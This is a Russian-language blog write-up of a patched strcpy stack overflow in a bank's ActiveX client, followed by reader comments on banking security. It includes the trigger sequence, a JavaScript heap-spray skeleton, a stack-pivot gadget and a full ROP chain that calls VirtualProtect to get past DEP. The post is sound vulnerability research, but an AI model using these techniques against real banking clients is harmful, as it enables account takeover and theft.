9 апреля 2012 в 08:01

Ломаем банк в стиле smash the stack!

Не только XSS…


Последнее время многие обращают внимание на уязвимости ПО, используемого в банковском секторе: в частности, недавно прошумела новость об уязвимостях класса XSS на веб-сайтах различных банков. Общественность негодует, и СМИ шумят. Но ведь банки богаты не только веб-составляющей. Начиная с конца 2000-х я собирал уязвимости в модулях ActiveX, которые банки гордо раздают своим пользователям, а именно клиентам системы дистанционного банковского обслуживания (ДБО). Раз в год я брал одну или две системы и ковырял их. Начиная просто так, любопытства ради (начал это дело, еще будучи сотрудником банка) и продолжая уже из исследовательского интереса. В итоге за 3–4 года я выявил уязвимости в системах от таких производителей, как BSS, Inist, R-Style, ЦФТ. Под катом находится информация об одной такой уязвимости. Большая часть описания уделена созданию простенького эксплойта для выполнения произвольного кода на стороне клиента (Windows7, IE +DEP/ASLR). Возможно, это будет полезно тем, кто хотел бы понять принципы эксплуатации старых ‘strcpy’ багов и создания ROP-эксплойтов.




Примечание

ПОЧТИ все уязвимости, о которых шла речь, на данный момент исправлены. Уязвимость, о которой идет речь конкретно в данном посте – исправлена давным-давно. Этот производитель СДБО выбран в качестве «жертвы» данного поста именно потому, что у него единая точка входа, а значит достаточно обновить ActiveX в одном месте. С другими производителями сложнее, так как надо обновлять КАЖДЫЙ банк ОТДЕЛЬНО и независимо, поэтому есть вероятность, что даже для старых уязвимостей в BSS/Inist/R-Style, существуют инсталляции без установленного обновления.

Сама уязвимость была обнаружена и сразу же исправлена в 2010 году. Поэтому никакого вреда от этого поста никому не будет, только уроком… 8)

Начало

Пользователи системы «интернет-банк» получают «довесок» в виде компонента ActiveX. Данное ПО отвечает за работу с ЭЦП, с документами и т.д. Написано оно, как правило, на С или С++. А это означает, что такие вещи, как ошибки формата строки, переполнения буфера или ошибки при работе с указателями, вполне себе характерны для этого вида ПО. Исследуемый компонент ставился автоматически для всех клиентов, которые хотели работать с сертификатами, прямо со специальной веб-страницы:



Компонент установлен, отлично. Однако хочется отметить, что данный модуль мог быть активирован только с домена банка, а это значит, что для эксплуатации уязвимостей этого модуля необходимо либо использовать баги типа XSS, либо быть «человеком посередине». Это сильно уменьшает вероятность атаки, но не делает ее нереальной.

Поиск уязвимости

Классикой жанра при поиске дырок является, безусловно, фаззинг. Для того чтобы «профаззить» данное ПО, можно воспользоваться, например, известной тулзой – COMRaider. Как ей пользоваться, я описывал в журнале «Хакер». Суть технологии проста: все методы и свойства ActiveX-класса вызываются с различными параметрами, например, с длинными строками или строками с вставленными спецификаторами формата. И в случае если есть ошибка, например, переполнение буфера при обработке длинной строки, то регистрируется исключительная ситуация (приложение попросту валится). Но вот незадача: выполнив фаззинг, COMRaider не обнаружил ни одной исключительной ситуации, ни одной уязвимости – все прошло без проблем. Ура, дырок нет!



Или…

Однако по этому поводу были сомнения. Все же DLL’ка с кодом датирована аж 2006 годом. Загрузив библиотеку в IDA и бросив беглый взгляд на количество вызовов такой знаменитой функции, как strcpy, я почти не удивился. Все это как бы намекало на то, что уязвимости все же есть.



Все эти вызовы можно проанализировать также в IDA (параллельно можно также использовать отладчик, например Immunity Debugger, с целью более быстрого понимания ситуации и для анализа динамических вызовов). Сквозь неопределенное время анализа кода и некоторого количества запусков в отладчике было выявлено, что часть функционала фаззер просто ПРОПУСТИЛ, так как были явные проверки на значение других свойств метода. То есть фаззер анализировал все методы и свойства отдельно, и потому часть кода была просто не покрыта (ох уж этот дамб-фаззинг). Так, например, свойство LogFileName задавало имя файла логов. А это имя хранится в специальном буфере и используется при вызове ДРУГИХ методов, которые порождают записи в лог. Тогда как фаззер просто пытался делать так:

object.LogFileName=long_buff;

Как таковой уязвимости тут нет. Она есть дальше, в функции обработки ошибки при создании лог-файла (назовем ее vuln). Эта функция вызывается в том случае, если LogEnabled > 0, LogFileName задан, и при этом файл с логом создать не удалось. Для составления вектора эксплуатации нужно проследить путь до этой функции. Впрочем, в IDA 6.2 это сделать крайне просто: Proximity browser + Find Path. Этот функционал помогает найти путь между любыми вызовами, если он есть. Например, так:



Видно, что есть путь до функции vuln (и, как следствие, до strcpy) от публичного метода класса ImportKey(). На самом деле почти все методы класса пытаются что-то писать в лог, поэтому такой путь есть от многих:



Это говорит нам о том, что для вызова функции vuln (из ImportKey) надо выполнить поочередно:

object.LogEnabled=1;
object.LogFileName=”xxx_c:\log.txt”;
object.ImportKey(1); //вызовет vuln();


В других случаях функция vuln просто не вызывается. Это на тему того, что одного фаззинга часто мало, он не знает о многих тонкостях… Теперь рассмотрим, в чем, собственно, ошибка. Для этого я приведу упрощенный кусок кода функции vuln, непосредственно с вызовом strcpy:

…

char* vuln(char *bufferOut, char *fileName){
    char *errorText="Ошибка при создании файла с именем ‘%1’.";
    
    while(!*errorText)
    {
        if(errorText=='%' && (errorText+1)<'9') // замена %1
        {
            strcpy(bufferOut,fileName); //errorText rewrite!
            bufferOut+=strlen(fileName);//увеличиваем указатель
            *errorText++;
        }
        *bufferOut++=*errorText++;     //Stack overflow (errorText<bufferOut)
    }
    
    return *bufferOut;
}


Суть функции – формирование сообщения об ошибке, сам шаблон содержится в переменной errorText. В цикле происходит копирование шаблона (errorText) в переменную bufferOut. При этом автоматически идет подстановка %1 на имя файла – fileName. Подстановка идет с помощью вызова strcpy. Имя filename задается публичным методом LogFileName. Соответственно, если LogFileName будет длинным, то произойдет выход за границы bufferOut. Классическое переполнение буфера. Но юмор в том, что при достаточно длинном значении fileName перезапишется errorText. А так как цикл идет до конца (нулевого байта) errorText, то идти он будет бесконечно, уничтожая стек до самого его конца (начала). Ведь после перезаписи (переполнения буфера вследствие вызова strcpy), errorText будет содержать часть fileName, а указатель будет меньше, чем bufferOut. Выходит, что в этом цикле текущий указатель errorText будет указывать в середину bufferOut, указатель которого увеличится. В итоге получится зацикливание.

Таким образом, до strcpy:



После strcpy:



И в конце зацикливания исключительная ситуация, так как вышли за пределы стека:



Очевидно, что указатель на обработчик исключительной ситуации мы также затерли…

Эксплуатация

Эту главу можно расценивать как описание старого доброго эксплойта на переполняшку. Классика жанра! Итак, мы переписали SEH и создали исключительную ситуацию, когда bufferOut стал указывать в неизвестное место «за» стеком. В итоге программа должна передать управление по указателю:



Наша задача – подсунуть вместо указателя на обработчик указатель на шеллкод. Так как IE работает с защитой DEP, то этот вариант не катит, ибо наш шеллкод (в стеке или в куче) находится в памяти, не помеченной как исполняемая. Нам повезло, что модуль ActiveX ДБО скомпилирован без поддержки ASLR и SafeSEH. Первое дает нам знание адресов инструкций в памяти из данной библиотеки, а второе – возможность использовать в качестве обработчика исключительной ситуации любой из этих адресов. Таким образом, проблема обхода ASLR (частично) и SafeSEH (полностью) отпала сама собой. Ведь тут в дело вступает так называемое возвратно-ориентированное программирование (ROP). О том, как работает ROP, можно почитать в статье из журнала «Хакер». Суть проста: в качестве обработчика указываем на инструкции из этого же модуля, из секции .text, которая, естественно, исполняема, и тамошние адреса нам доподлинно известны. В результате эти инструкции будут исполнены, а чтобы захватить управление после их отработки, надо, чтобы последняя инструкция была инструкцией возврата – RET / RET n (или JMP/CALL reg, но это реже). Тогда следующая инструкция будет взята из стека, как сохраненный адрес выхода. Но стек мы еще не контролируем (при обработке SEH стек «сдвигается»). Поэтому первой такой инструкцией должно быть перенаправление ESP на контролируемую нами область. В этой области будут другие адреса возврата-исполнения. Например, вместо указателя на SEH мы поместим следующий адрес (должен быть ASCII): 10014324

0x10014324: MOV ESP, 3b1002b1 / RETN

В результате ESP станет указывать на 0x3b1002b1. Но память по этому адресу свободна, и в итоге RETN не сможет взять адрес следующей инструкции…

HeapSpray

Раз память свободна, значит можно ее занять. Решается эта проблема банально – heap spray. Используем JavaScript для создания больших массивов с нашими данными. В IE9 (и что-то есть в новом FF) есть защита от heap spray – nozzle и bubble, но с учетом небольшой рандомизации она также решается, ну а в IE8 все проще:

var data= ROP_NOP + ROP + SHELLCODE;

bk=data.substring(0,data.length);
while(bk.length<0x40000) bk = bk+bk;

var h1=new Array();

h1[0] = bk;

for (var i = 1 ; i < 1800 ; i++) {
	h1[i]=  h1[0].substring(0,h1[0].length ); 
}


ROP_NOP – эти данные должны попасть по адресу 0x3b1002b1. Именно это значение будет адресом для RET после MOV ESP, 0x3b1002b1. ROP_NOP должен быть достаточно большим куском, с повторяющимся адресом инструкции RETN. Это своеобразный ROP nop аналог. Например, по адресу 0x1001023c лежит инструкция RETN.

ROP – тут набор адресов на инструкции, которые в совокупности выполняют поиск функции kernel32.VirtualProtect, а затем вызывают ее на нашу кучу, делая ее исполняемой (обходим DEP таким образом). После чего можно передать управление на саму кучу.

SHELLCODE – сюда передается управление после вызова VirtualProtect. Тут шеллкод (конкретные инструкции).



Вот этим делом мы забиваем память до триггера уязвимости. Затем, когда вызовется обработчик исключительной ситуации, указатель ESP будет указывать на подконтрольные нам данные, где будет лежать ROP-программа. Видеопример работы эксплойта и ROP-программы:



Спасибо разработчику за адекватную реакцию на проблемы с безопасностью. Со старой версией модуля в систему не пускает!



С вами был d00kie. Надеюсь, было весело. Hack’em’all 8)

P.S.


Для любопытствующих привожу ROP-программу:

//0x10009de4 -- POP EDI # POP ESI # POP EBX # RETN
//0xffffffcc -- это попадет в EDI (-52)
//0x11111111 -- это в ESI
//0x1002b074 – сохраненный указатель на kernel32.flushinstructioncache в EBX
//0x10013f67 -- ADD EDI,DWORD PTR DS:[EBX] # RETN
//получаем VirtualProtect ( [EBX]-52=VirtualProtect ... в идеальном мире 8)
//0x1000bf35 -- MOV EAX,EDI # POP EDI # POP ESI # RETN 04 VirtualProtect в EAX
//0x11111111 -- trash
//0x11111111 -- trash
//0x1002879d -- PUSH EAX # RETN // call VirtualProtect
//0x11111111 -- trash
//0x1000fd72 -- JMP ESP <--- точка выхода из VP, сразу прыгаем на ESP, там уже будет шеллкод
//0x3b1002b5 -- (1) Адрес страницы <--- Параметры для VP
//0x00010000 – (2) Размер (значения не имеет, помечается вся страница)
//0x00000040 – (3) RWX <--- делаем память исполняемой
//0x3b1002b1 – (4) Сюда запишем старые права
//0x90909090 -- сюда прыгнет из VP, это начало шеллкоды (NOP)


Так как EIP и ESP будут указывать на одну и ту же страницу, то это плохо скажется на работоспособности шеллкода (так, например, WinExec-вызов не сработает). Поэтому перед шеллкодом (который я взял из метасплойта), нужно вручную поставить «восстановитель» старого указателя на стек:

MOV ESP, EBP

Используемое ПО:

COMRaider
IDA 6.2 Demo
Immunity Debugger
mona.py
TypeLib Browser
Автор: @d00kie
Digital Security
рейтинг 154,20
Безопасность как искусство
Похожие публикации

Комментарии (49)

  • +15
    Спасибо вам и другим «аудиторам безопасности» за то, что не даёте банкам расслабляться.
    Даже если злоумышленники не спишут деньги с моего счёта, благодаря уязвимостям, то деньги
    пропадут с счетов банка.
    А банк, в свою очередь, включит это воровство в будущие проценты и мы их всё равно заплатим.
    Предотвращение потерь — один из способов уменьшить себестоимость товаров и услуг
    (в 90х годах, на заводе ВАЗ об этом плохо знали)
    • +7
      Не совсем согласен. Мы помогаем банкам. Иногда даже бесплатно, как в этом случае 8)
      Банки ведь не виноваты в этом… так что чего их винить. А если деньги спишут с Вашего счета, то пропадут они у Вас..., а не у банка ;)
    • +1
      Прочитайте свой договор с банком. Боюсь Вас разочаровать, но деньги пропадут у Вас, а не у банка…

      В УВД ЦАО г. Москвы я наблюдал пачку заявлений толщиной в пару см от пострадавших от кражи денег со счетов. Это были отнюдь не банки.
      • +3
        Так ведь человек написал: «Даже если злоумышленники не спишут деньги с моего счёта».
    • +1
      Банки уже заранее включили всё в «будущие проценты», так что воруй, не воруй, ломай не ломай, а заплатить всё равно придётся.
  • +2
    Может комментарий немного не в тему, но скажите, пожалуйста, а клиент банки на Java более уязвимы? Вообще насколько сложно найти дыру в java аплете, если он запущен на последней версии виртуальной машины.
    • +2
      Вы клиент не ПБ случайно?
      • 0
        кто такой ПБ?
        • 0
          Приват Банк… у них на клиент банке чек ключей явовский, который правда не пойми как работает, а под убунтой только после танцев с бубном шевелится )
          • 0
            нет. у нас другой банк. Но клиент в виде апплета на java.
            • 0
              iBank или что-то ещё?
          • +1
            а у меня наоборот в линуксе с полоборота, правда это openSUSE и оригинальная java, с openJDK глючит. Хотя из-за того что все же иногда работает(запускается), можно и забыть о том что не заменил openJDK.
    • +3
      У нас со счета компании увели деньги. Банк-клиент — на java (Бифит). Судя по результатам наследования — внедрились как раз через уязвимость java-runtime.

      Хотите 100% защищенности — используйте одноразовые коды и SMS информирование. Технические методы гарантии не дают. Например, тот эксплойт, который (предположительно) сработал у нас, начал детектироваться антивирусами только через 3 недели после его появления на нашем компьютере.
      • +1
        «Расследования», а не «наследования», прошу прощения.
      • 0
        а у нас нет одоразовых смс в клиенте. :)
        а как подцепили заразу?
        runtime был последней версии?
        • 0
          Нет SMS-подтверждения — ставьте хотя бы SMS-информирование. Банк вполне способен задержать платеж по звонку. Деньги уходят из банка сессиями, так что между «платежом» и действительным перечислением средств проходит довольно много (для отмены) времени. И даже если деньги в другой банк успели уйти, обычно службы безопасности банков договариваются о «возврате ошибочно перечисленных средств», если все проделать достаточно оперативно.

          Кто же знает, как именно «подцепили»? С какого-то из сайтов через дыру в рантайме пролез троян (позже был уничтожен обновившимся антивирусом). Рантайм на тот момент был «самый свежий», но ведь после обнаружения дыры до обновления всегда есть какое-то время.
      • +1
        >Хотите 100% защищенности…

        А такое бывает? о_О
        • +1
          Да, конечно.
          Например, Вы можете договориться с банком о том, что переводы денег со счета могут осуществляться только при Вашей личной явке в банк.
          Просто это может быть не всегда удобно.
          • 0
            Не всегда сотрудник банка может с точностью в 100% определить дееспособность посетителя. =)
    • 0
      В джава апплете тоже могут быть проблемы, но зависит от реализации. Больше тут проблема именно в том, что джава апплет подразумевает джава машину, которая на данный момент главный источник всех проблем. Видел ситуацию, где клиенты не могли обновить джаву из-за несовместимости с ДБО.
      • 0
        Тут ещё сами банки (в силу своего IT sec пофигизма?) почти повально предлагают клиентам для скачивания какие-то бородатые версии JRE.
        • 0
          Дело не столько в банковских сотрудниках, сколько в разрабах предлагаемого ПО. Бизнес выбирает, что он может себе позволить купить, а IT банка (правда его состав тоже зависит от того, что позволяет себе купить банк) имеет дело с чем дают.
          К примеру от АБС конторы ЦФТ просто тошнит. Впечатление, что делали за очень дешево первокурсники.
          • 0
            Относительно ЦФТ-банка: работаю с ней уже больше трёх лет и вполне нравится как администратору и разработчику.

            Да, есть некоторые архитектурные просчёты, но в целом очень хорошо.
          • 0
            И опять-же — с чем сравнивать ЦФТ-банк, с какой АБС?
  • +25
    Это всё круто, но порой уязвимости бывают намного банальнее. Как-то года 3 назад мама подошла и попросила зайти в её интернет-банкинг, чтобы кинуть денег на телефон. Диктует логин, я после ввода случайно нажимаю enter и попадаю в управление её счетом. У меня недоумение, а она продолжает показывать куда мне кликнуть, чтобы провести платёж. На моё «подожди, я же не вводил пароль» она абсолютно невозмутимо говорит «так он же сохранён». Но я то знал, что со своего ноута в её банкинг ещё ни разу не логинился и что пароли никогда не сохраняю в браузере. Разлогинился, вбил в поле логина случайный набор цифр (из которых состоят логины) и попал в управление чужим счетом. Мама работала в этом банке, позвонила начальнице, они посокрушались, передали в айти отдел, но уязвимость закрыли только через день.
    К слову, это крупный международный банк, который не так давно ушел из России.
    • +3
      В моем прошлом банке можно было прийти на кассу, попросить перевести бабки на другой счет и представиться кем хочешь: паспорт не проверяли :)
      • 0
        А какая-то идентификация вообще была? Просто многие серьезные банки не требуют паспорт (сам так обслуживаюсь), но используют пластиковую идентификационную карту с пин-кодом. Можно даже (очень удобно), передать ее доверенному человеку, сказать код, и он сам по дороге сделает нужную операцию. (конечно, если всем подряд раздаешь код и карту — ССЗБ)
        • +1
          Вообще ничего. Просто: ФИО, я инд предприниматель, деньги туда, плиз. Если говоришь что забыл, например, номер счета, услужливо вбивали сами ))))
          • +5
            Победа юзабилити и комфорта клиента над здравым смыслом :-)
          • 0
            Просто он приходит туда часто и кассир банка давно знает его в лицо.
            • 0
              Ну, раз в 1,5 месяца как и куча других клиентов, коих огромное множество. У других также не спрашивали, видел лично. Я не думаю что у кассира настолько феноменальная память
              • +1
                Вы вот не думаете, а я лично с таким кассиром работал. Она помнит всех клиентов за день(ну это именно что проверял, думаю постоянных она так же помнит), суммы, и более того даже номера счетов… такая себе база данных с человеческим лицом
    • 0
      это крупный международный банк, который не так давно ушел из России.

      На ум приходят GE Money Bank и Barclays. Полагаю, второй?
      • 0
        В точку :)
  • 0
    Надо же, ровно за 6 часов до этой публикации я почуял, как будет писаться эта статья и моя формулировка почти совпадает с формулировкой в этой статье)
    «Как ей пользоваться, я описывал в журнале «Хакер»»
    habrahabr.ru/post/141698/
    "… По этой теме есть статья от хабраюзера d00kie (где он использует Comraider) — Глумимся над объектами: взлом ActiveX..."
    • 0
      совпадение)
  • +1
    Спасибо за хорошую статью. Интересно, а как на пост-совковом пространстве формируется рынок аудиторов безопасности. К примеру, если я уговорю руководство своего банка провести аудит нашей системы ДБО сколько это может стоить?
    • 0
      Меня также интересуют вилки цен на пентестинг и вообще, эта сфера услуг. Мне одно время казалось, что она маловосстребована в .ru
      • 0
        Сайты/сервера (черный ящик) ~10-35к за аудит.
        • 0
          В какой валюте?
          • 0
            Извиняюсь, не уточнил, рубли.
            Сам работал примерно в этой ценовой политике (ну, до 35 не доходило) да и народ примерно по таким же ценам трудится.
            Со статистическим анализом кода (белый ящик) все сложнее, вилку так не скажешь.
            • 0
              Спасибо. Теперь посмотрим что на это скажет руководство.
              • 0
                ДБО дороже будет, ИМХО. И потом каков список задач?
                — пен-тест из инета?
                — пен-тест с ролью пользователя?
                — вайт-бокс анализ всей системы?
                — исходные коды?
                — анализ внутреннего периметра?
                • 0
                  Для начала стоит задача проверки вариантов взлома из Интернета. Потом проверка с ролью пользователя. О большем до нахождения дыр думаю пока говорить рано.
        • 0
          Спасибо!
  • +1
    Хорошее знание отладчика еще никому не вредило. Автору спасибо за мотивацию.
  • +1
    Автору спасибо за мотивацию. Я нашел свой кусок романтики. И хобби.
  • 0
    Что-то напоминает…
  • 0
    Спасибо, что доступно объяснили суть таких ошибок.

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.